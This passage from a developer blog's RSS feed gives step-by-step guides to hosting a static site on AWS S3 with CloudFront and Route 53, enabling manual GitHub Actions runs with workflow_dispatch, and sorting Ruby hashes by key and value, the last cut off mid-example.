<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/s3-static-website-hosting.webp" alt="Static website hosting configuration." width="720" height="729" style="max-width: 100%; height: auto; aspect-ratio: 1516 / 1536;" loading="lazy" decoding="async">
<p>Then go to the &ldquo;Permissions&rdquo; tab in the bucket. Click the &ldquo;Edit&rdquo; button under the &ldquo;Block public access (bucket settings)&rdquo; section.
Uncheck the &ldquo;Block <em>all</em> public access&rdquo; checkbox. We need this bucket to have public access so the site is viewable across the internet.
Save changes.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/bucket-public-access.webp" alt="S3 bucket access." width="720" height="586" style="max-width: 100%; height: auto; aspect-ratio: 1572 / 1280;" loading="lazy" decoding="async">
<p>Next, still under the &ldquo;Permissions tab&rdquo;, click the &ldquo;Edit&rdquo; button on the &ldquo;Bucket policy&rdquo; section. We need to add permissions for public access. Here is what the policy should look like. Change the bucket name after <code>Resource</code> to your bucket name:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;Version&#34;</span><span class="p">:</span> <span class="s2">&#34;2012-10-17&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;Statement&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Sid&#34;</span><span class="p">:</span> <span class="s2">&#34;PublicReadGetObject&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Effect&#34;</span><span class="p">:</span> <span class="s2">&#34;Allow&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Principal&#34;</span><span class="p">:</span> <span class="s2">&#34;*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Action&#34;</span><span class="p">:</span> <span class="s2">&#34;s3:GetObject&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Resource&#34;</span><span class="p">:</span> <span class="s2">&#34;arn:aws:s3:::nelson.cloud/*&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then save changes.</p>
<p>At this point &ldquo;Block <em>all</em> public access&rdquo; should be off, and the bucket policy should show under the section:</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/completed-bucket-permissions.webp" alt="Completed S3 bucket configuration." width="720" height="410" style="max-width: 100%; height: auto; aspect-ratio: 2202 / 1254;" loading="lazy" decoding="async">
<p>To verify that everything works, we can upload some HTML files to test out the site.</p>
<p>Go to the &ldquo;Objects&rdquo; tab on the bucket and drop in your static files. Even a single <code>index.html</code> file will do. In my case I have a lot more files since my site has blog posts and other things:</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/bucket-objects.webp" alt="Objects in S3 bucket." width="720" height="271" style="max-width: 100%; height: auto; aspect-ratio: 2638 / 996;" loading="lazy" decoding="async">
<p>Then go to the &ldquo;Properties&rdquo; tab and at the very bottom you should see a &ldquo;Bucket website endpoint&rdquo;. Click on this link and your site should open in your browser. If you see the contents of your HTML file(s) then you are all done here with S3.</p>
<p>The AWS docs provide more information about S3 permissions for static hosting if you&rsquo;re curious:</p>
<ul>
<li>

<a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteAccessPermissionsReqd.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteAccessPermissionsReqd.html</a></li>
</ul>
<h2 id="creating-an-acm-ssl-certificate">Creating an ACM SSL Certificate</h2>
<p>Next we need to request an SSL certificate in ACM that we&rsquo;ll use with CloudFront. This will allow us to set up our site with HTTPS.</p>
<p>In AWS, go to &ldquo;AWS Certificate Manager (ACM)&rdquo;.</p>
<blockquote><p><strong>Warning:</strong></p>SSL certificates used with CloudFront must be in the us-east-1 region. Check the upper right corner and make sure you are in the us-east-1 region before proceeding.</blockquote>

<p>Then click the &ldquo;Request&rdquo; button.</p>
<p>For &ldquo;Certificate type&rdquo; select &ldquo;Request a public certificate&rdquo;. Then click Next.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/requesting-ssl-certificate.webp" alt="Requesting an ACM SSL certificate." width="720" height="236" style="max-width: 100%; height: auto; aspect-ratio: 2122 / 696;" loading="lazy" decoding="async">
<p>Then, under &ldquo;Fully qualified domain name&rdquo; write in the name of your domain
I also like to add in support for all subdomains. If you want to do this, add in the wildcard subdomain <code>*.yourdomain.com</code></p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/ssl-cert-domains.webp" alt="Adding domain names to ACM SSL certificate." width="720" height="196" style="max-width: 100%; height: auto; aspect-ratio: 1906 / 520;" loading="lazy" decoding="async">
<p>Under &ldquo;Validation method&rdquo; select DNS validation.
Under &ldquo;Key algorithm&rdquo; select &ldquo;RSA 2048&rdquo; or higher if you&rsquo;d like</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/ssl-cert-validation-and-key-algorithm.webp" alt="Validation method and key algorithm for ACM SSL certificate." width="720" height="317" style="max-width: 100%; height: auto; aspect-ratio: 1976 / 870;" loading="lazy" decoding="async">
<p>Then click the &ldquo;Request&rdquo; button.</p>
<p>You&rsquo;ll see that the new certificate says &ldquo;Pending validation&rdquo; under the &ldquo;Status&rdquo; column. Click into your certificate.</p>
<p>Under &ldquo;Domains&rdquo; you should see the columns &ldquo;CNAME name&rdquo; and &ldquo;CNAME value&rdquo;.
You&rsquo;ll have to create a CNAME record in Route 53 to validate this certificate.</p>
<p>Note that in my case the CNAME names and values are repeated. I only had to create the record once to validate both domains.</p>
<blockquote><p><strong>Info:</strong></p>The CNAME record(s) can also be created on your registrar, but I chose to do it all on AWS to keep things in one place.</blockquote>

<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/cname-record.webp" alt="ACM SSL certificate CNAME records." width="720" height="169" style="max-width: 100%; height: auto; aspect-ratio: 1440 / 338;" loading="lazy" decoding="async">
<p>Go to Route 53 and create a public hosted zone for your domain (note that at the time of this writing hosted zones are 50 cents per month).</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/hosted-zone.webp" alt="Creating a Hosted Zone in Route 53." width="720" height="554" style="max-width: 100%; height: auto; aspect-ratio: 1516 / 1168;" loading="lazy" decoding="async">
<p>Once the zone is created, go back to your certificate and click on the upper right button that says &ldquo;Create records in Route 53&rdquo;.
AWS will add the records for you without any manual work on your part.</p>
<p>After the record(s) are created, wait some time until the certificate is validated. In my case, it took around 10 minutes.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/certificate-validated.webp" alt="Validated ACM SSL certificate." width="720" height="162" style="max-width: 100%; height: auto; aspect-ratio: 968 / 218;" loading="lazy" decoding="async">
<p>This page from the AWS documentation elaborates more on DNS validation for ACM SSL Certificates:</p>
<ul>
<li>

<a href="https://docs.aws.amazon.com/acm/latest/userguide/dns-validation.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/acm/latest/userguide/dns-validation.html</a></li>
</ul>
<h2 id="creating-a-cloudfront-distribution">Creating a CloudFront Distribution</h2>
<p>Next, we need to create a CloudFront distribution. The distribution will use the bucket and ACM certificate we created in order to host our site.</p>
<p>CloudFront is 

<a href="https://aws.amazon.com/cloudfront/" target="_blank" rel="noopener">Amazon&rsquo;s content delivery network (CDN)</a>. By deploying our site on CloudFront, our site will be available worldwide with low latency.</p>
<p>First, we&rsquo;ll need the S3 bucket website endpoint that we clicked on earlier.</p>
<p>Go to the S3 bucket you created.
Then, under the &ldquo;Properties&rdquo; tab, scroll all the way down and copy the value of &ldquo;Bucket website endpoint&rdquo;</p>
<p>Then go to the CloudFront service in the AWS console. Click the &ldquo;Create distribution&rdquo; button on the top right.</p>
<p>Under &ldquo;Origin domain&rdquo;  paste the value of &ldquo;Bucket website endpoint&rdquo; that you copied. The value should be something like <code>http://mybucket.s3-website-us-east-1.amazonaws.com</code></p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/origin-domain.webp" alt="CloudFront Distribution Origin domain." width="720" height="129" style="max-width: 100%; height: auto; aspect-ratio: 1086 / 196;" loading="lazy" decoding="async">
<p>Under &ldquo;Viewer protocol policy&rdquo; I like to select &ldquo;Redirect HTTP to HTTPS&rdquo;, essentially disallowing HTTP connections.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/viewer-protocol-policy.webp" alt="CloudFront Distribution viewer protocol policy." width="720" height="191" style="max-width: 100%; height: auto; aspect-ratio: 806 / 214;" loading="lazy" decoding="async">
<p>Under &ldquo;Alternate domain name (CNAME)&rdquo;, add in your domain.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/alternate-domain-name.webp" alt="CloudFront Distribution Alternate domain name (CNAME)." width="720" height="174" style="max-width: 100%; height: auto; aspect-ratio: 1026 / 248;" loading="lazy" decoding="async">
<p>Under &ldquo;Custom SSL certificate&rdquo; select the ACM certificate that you created earlier. It should show up in the drop-down menu.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/custom-ssl-certificate.webp" alt="CloudFront Distribution custom SSL certificate." width="720" height="123" style="max-width: 100%; height: auto; aspect-ratio: 1264 / 216;" loading="lazy" decoding="async">
<p>Under &ldquo;default root object&rdquo; write in <code>index.html</code> or whatever you want your root to be. This is the page that gets loaded by default when hitting your domain without a path (<code>https://nelson.cloud/</code> in this case).</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/default-root-object.webp" alt="CloudFront Distribution default root object." width="720" height="120" style="max-width: 100%; height: auto; aspect-ratio: 1084 / 182;" loading="lazy" decoding="async">
<p>The rest of the settings can stay as is. Click the &ldquo;Create distribution&rdquo; button.
Allow some time for the distribution to deploy.
Once the &ldquo;Last modified&rdquo; field doesn&rsquo;t say &ldquo;Deploying&rdquo; and displays a date, it&rsquo;s done.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/distribution-created.webp" alt="Deployed CloudFront Distribution." width="720" height="51" style="max-width: 100%; height: auto; aspect-ratio: 1892 / 136;" loading="lazy" decoding="async">
<p>I chose to use the S3 website endpoint as the Origin, but you can also use the S3 bucket itself. I chose the website endpoint because my site has multiple <code>index.html</code> templates 

<a href="https://nelson.cloud/resolving-aws-cloudfront-access-denied-errors/">which can give errors in CloudFront</a>.</p>
<p>More on Origins in the AWS documentation:</p>
<ul>
<li>

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistS3AndCustomOrigins.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistS3AndCustomOrigins.html</a></li>
</ul>
<h3 id="adding-a-404-page-to-the-cloudfront-distribution-optional">Adding a 404 Page to the CloudFront Distribution (Optional)</h3>
<p>CloudFront Distributions have barebones and unstylized error pages like this 404 page:</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/404.webp" alt="Default CloudFront 404 page." width="720" height="151" style="max-width: 100%; height: auto; aspect-ratio: 1566 / 330;" loading="lazy" decoding="async">
<p>If we want to use our own custom error pages, we need to create a custom error response.</p>
<p>Click into your newly created CloudFront Distribution. Click on the &ldquo;Error pages&rdquo; tab and then click the &ldquo;Create custom error response&rdquo; button.</p>
<p>Select the following settings:</p>
<ul>
<li>&ldquo;HTTP error code&rdquo; should be &ldquo;404: Not Found&rdquo;</li>
<li>Error caching minimum TTL can stay as is (10)</li>
<li>Select &ldquo;Yes&rdquo; for &ldquo;Customize error response&rdquo;</li>
<li>The &ldquo;Response page path&rdquo; should be &ldquo;/404.html&rdquo; (or whatever you want your 404 page file name to be).
<ul>
<li>You&rsquo;ll need to create a <code>404.html</code> template and place it in your S3 Bucket.</li>
</ul>
</li>
<li>Select &ldquo;404: Not Found&rdquo; for the &ldquo;HTTP Response code&rdquo; field</li>
<li>Click the &ldquo;Create custom error response&rdquo; button</li>
</ul>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/custom-error.webp" alt="Creating a custom error page." width="720" height="622" style="max-width: 100%; height: auto; aspect-ratio: 1508 / 1304;" loading="lazy" decoding="async">
<p>Give your distribution a few minutes to update and you&rsquo;re done here.</p>
<p>There are several other error codes you can account for using the same process. I only added a 404 page since it&rsquo;s one of the most common.</p>
<h2 id="pointing-a-custom-domain-to-the-cloudfront-distribution">Pointing a Custom Domain to the CloudFront Distribution</h2>
<p>The last step is to point your domain to the cloudfront distribution.
For this step, I once again used Route 53, but you can also create a CNAME or ALIAS record in your domain&rsquo;s registrar and get the same results.</p>
<p>Go to Route 53 again. Click on the Hosted Zone you created earlier.
Create a record with the following settings:</p>
<ul>
<li>Leave the subdomain blank, unless you want your site to be accessible under a subdomain like <code>blog.mysite.com</code>.</li>
<li>For Record type, select &ldquo;A - Routes traffic to an IPv4 address and some AWS resources.&rdquo;</li>
<li>Click the &ldquo;Alias&rdquo; toggle to enable it.</li>
<li>Under &ldquo;Route traffic to&rdquo; select &ldquo;Alias to CloudFront distribution&rdquo;</li>
<li>Under the &ldquo;Choose distribution&rdquo; field select the distribution you created.</li>
<li>The routing policy can stay as is.</li>
</ul>
<p>Then click the &ldquo;Create records&rdquo; button.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/route-53-record.webp" alt="Creating a Route 53 record." width="720" height="446" style="max-width: 100%; height: auto; aspect-ratio: 2004 / 1244;" loading="lazy" decoding="async">
<p>It will take some time for these changes to propagate across DNS servers. In my experience, it&rsquo;s never been more than around 15 minutes. Usually faster.</p>
<h2 id="viewing-the-live-site">Viewing The Live Site</h2>
<p>After adding the DNS record and waiting some time, you should be able to go to your domain on a browser and see your site.</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/live-site.webp" alt="Live site." width="720" height="348" style="max-width: 100%; height: auto; aspect-ratio: 2158 / 1044;" loading="lazy" decoding="async">
<p>You can also test out your custom error page(s). In my case, I browsed to 

<a href="https://nelson.cloud/test" target="_blank" rel="noopener">https://nelson.cloud/test</a> to see my custom 404 page:</p>
<img src="/hosting-a-static-site-on-aws-using-s3-and-cloudfront/404-custom.webp" alt="Custom 404 page." width="720" height="277" style="max-width: 100%; height: auto; aspect-ratio: 1774 / 684;" loading="lazy" decoding="async">
<p>Congrats! Your site is now live.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to Enable Manual Runs of GitHub Actions Workflows</title>
      <link>https://nelson.cloud/how-to-enable-manual-runs-of-github-actions-workflows/?ref=rss</link>
      <pubDate>Tue, 27 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-enable-manual-runs-of-github-actions-workflows/?ref=rss</guid>
      <description>Add workflow_dispatch to your GitHub Actions YAML to enable the &amp;lsquo;Run workflow&amp;rsquo; button.</description><content:encoded><![CDATA[<p>By default, GitHub Actions does not allow you to run a workflow manually. In order to enable manual workflow runs, I had to add <code>workflow_dispatch</code> to the YAML file under <code>.github/workflows/</code>.</p>
<p>For example, the beginning of my GitHub Actions YAML file looked like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Deploy</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">push</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">branches</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">master</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>This configuration allows for workflows to run on commit pushes to the <code>master</code> branch, but there is no option to run this workflow manually on GitHub:</p>
<img src="/how-to-enable-manual-runs-of-github-actions-workflows/no-manual-run.webp" alt="GitHub Actions doesn't show a manual way of running the workflow." width="720" height="259" style="max-width: 100%; height: auto; aspect-ratio: 1862 / 672;" loading="lazy" decoding="async">
<p>To enable manual runs of workflows, I added the <code>workflow_dispatch</code> key. There was no need to add anything else under it:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="hl"><span class="lnt">6
</span></span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Deploy</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">push</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">branches</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">master</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">  </span><span class="l">workflow_dispatch:</span></span></span></code></pre></td></tr></table>
</blockquote>
<p>After pushing changes, I was able to see a &ldquo;Run workflow&rdquo; button that allows me to run the workflow manually.</p>
<img src="/how-to-enable-manual-runs-of-github-actions-workflows/manual-run-enabled.webp" alt="GitHub Actions now shows a manual way of running the workflow." width="720" height="306" style="max-width: 100%; height: auto; aspect-ratio: 1854 / 790;" loading="lazy" decoding="async">
<p>You can also run workflows using the 

<a href="https://cli.github.com/" target="_blank" rel="noopener">GitHub CLI</a> once <code>workflow_dispatch</code> is in your workflow YAML file. Assuming your workflow YAML is named <code>main.yml</code>, you can run:</p>
<pre tabindex="0"><code>gh workflow run main.yml
</code></pre><p>And you&rsquo;ll get output similar to the following:</p>
<pre tabindex="0"><code>✓ Created workflow_dispatch event for main.yml at master
https://github.com/nelsonfigueroa/nelson.cloud/actions/runs/22656361802

To see the created workflow run, try: gh run view 22656361802
</code></pre><p>Note that there are a lot more configuration options available when adding the <code>workflow_dispatch</code> key. However, I just wanted to enable manual runs and nothing more. Refer to 

<a href="https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch" target="_blank" rel="noopener">the documentation</a> for more information.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.github.com/en/actions/managing-workflow-runs/manually-running-a-workflow" target="_blank" rel="noopener">https://docs.github.com/en/actions/managing-workflow-runs/manually-running-a-workflow</a></li>
<li>

<a href="https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch" target="_blank" rel="noopener">https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch</a></li>
<li>

<a href="https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows" target="_blank" rel="noopener">https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows</a></li>
<li>

<a href="https://cli.github.com/manual/gh_workflow_run" target="_blank" rel="noopener">https://cli.github.com/manual/gh_workflow_run</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Sorting Hashes in Ruby</title>
      <link>https://nelson.cloud/sorting-hashes-in-ruby/?ref=rss</link>
      <pubDate>Sun, 04 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/sorting-hashes-in-ruby/?ref=rss</guid>
      <description>Many ways of sorting hashes in Ruby.</description><content:encoded><![CDATA[<h2 id="sorting-hashes-by-key">Sorting Hashes by Key</h2>
<h3 id="ascending-order">Ascending Order</h3>
<p>Let&rsquo;s say we had the following hash:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;b&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;c&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If we wanted to sort it by keys, we can use the <code>.sort</code> method to sort in ascending order:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;b&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;c&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sorting the hash by keys. `items` is now an array</span>
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="n">items</span><span class="o">.</span><span class="n">sort</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above will result in <code>items</code> being an array of arrays (sorted alphabetically by keys) that looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[[</span><span class="ss">:a</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:b</span><span class="p">,</span> <span class="mi">2</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:c</span><span class="p">,</span> <span class="mi">1</span><span class="o">]]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="descending-order">Descending Order</h3>
<p>To sort a hash by key in descending order, we can chain the <code>.reverse</code> method to the previous code:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;b&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;c&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="n">items</span><span class="o">.</span><span class="n">sort</span><span class="o">.</span><span class="n">reverse</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above turns <code>items</code> into the following:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[[</span><span class="ss">:c</span><span class="p">,</span> <span class="mi">1</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:b</span><span class="p">,</span> <span class="mi">2</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:a</span><span class="p">,</span> <span class="mi">3</span><span class="o">]]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="sorting-hashes-by-value">Sorting Hashes by Value</h2>
<h3 id="ascending-order-1">Ascending Order</h3>
<p>To sort a hash by value, we need to use <code>.sort_by</code> like so:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;b&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;c&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sorting by values</span>
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="n">items</span><span class="o">.</span><span class="n">sort_by</span> <span class="p">{</span> <span class="o">|</span><span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="o">|</span> <span class="n">v</span> <span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above will result in <code>items</code> being an array once again, but this time sorted by values in ascending order:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[[</span><span class="ss">:c</span><span class="p">,</span> <span class="mi">1</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:b</span><span class="p">,</span> <span class="mi">2</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:a</span><span class="p">,</span> <span class="mi">3</span><span class="o">]]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="descending-order-1">Descending Order</h3>
<p>We can also use <code>.sort_by</code> to sort values in descending order by using <code>-v</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;b&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;c&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sorting by values in descending order, note the `-v`</span>
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="n">items</span><span class="o">.</span><span class="n">sort_by</span> <span class="p">{</span> <span class="o">|</span><span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="o">|</span> <span class="o">-</span><span class="n">v</span> <span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above transforms <code>items</code> into the following:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
